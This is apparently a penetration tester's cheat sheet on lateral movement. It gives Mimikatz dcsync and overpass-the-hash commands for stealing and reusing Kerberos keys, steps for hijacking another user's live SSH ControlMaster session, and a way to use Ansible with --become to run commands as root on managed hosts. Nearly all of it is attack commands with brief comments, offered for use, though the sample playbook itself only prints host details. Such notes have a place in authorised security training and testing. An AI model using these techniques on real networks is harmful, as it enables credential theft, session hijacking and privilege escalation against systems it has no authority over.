Jump to other users inside the machine, don't jump into a hole for a long time.
Check Active Network Connection
Check possibility of hidden network or ports.
# Windows
netstat -antp
# linux
netstat -tulpn
Type of Lateral Movement:
Pass-the-Hash, Pass-the-Ticket, Overpass-the-Hash and bypass MFA for access to Windows
Lands on system via phishing
Mimikatz to bypass MFA --> use dcsync
lsadump::dcsync /user:<current user>
# get the HASH from [Primary:Kerberos-Newer-Keys *] --> [Credentials] --> [aes256_hmac]
# overpass the hash
sekurlsa::pth /user:<current user> /domain:<domain> /aes256:<HASH>
# cmd appears as another user in the another machine
# access other computer
Enter-PSSession -ComputerName <other computer>
# ref: https://www.youtube.com/watch?v=Fmbp34dBuMc
Linux Lateral Movement with ControlMaster
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. We have to wait for user to connect to controlmaster then hijact the session.
Check the current compromised linux machine:
cat ~/.ssh/config
# it seeems like this
Host *
ControlPath ~/.ssh/controlmaster/%r@%h:%p
ControlMaster auto
ControlPersist no/yes
Watch the session user logon in the folder ~/.ssh/controlmaster/
watch -d -n1 'ls -la ~/.ssh/controlmaster/'
there is new file come up like this:
# srw------ 1 <user> <user> 0 jan 1 <time> user@host:port
hijack it using this command in the current machine.
ssh user@host:port
# using -S for socket target.
ssh -S ~/.ssh/controlmaster/user\@host\:port user@host:port
Ansible
commonly user to run ansible is high privilege.
controller server must have /etc/ansible/hosts
or
check with ansible command in the server.
cat /etc/passwd |grep ansible
Command
ansible <target machine> -a "whoami"
#ansibleadm
ansible <target machine> -a "whoami" --become
#root
#backdooring the root
playbook
/opt/playbooks
code execution on the target computer with playbooks
#rce.yml
- name: get rce
hosts: all
gather_facts: true
tasks:
- name: display remote code exec
debug:
msg: "hostname: {{ ansible_hostname }} and os: {{ ansible_distribution }}
run with this command
ansible-playbook rce.yml
yaml file sometimes contains password plain text and encrypted password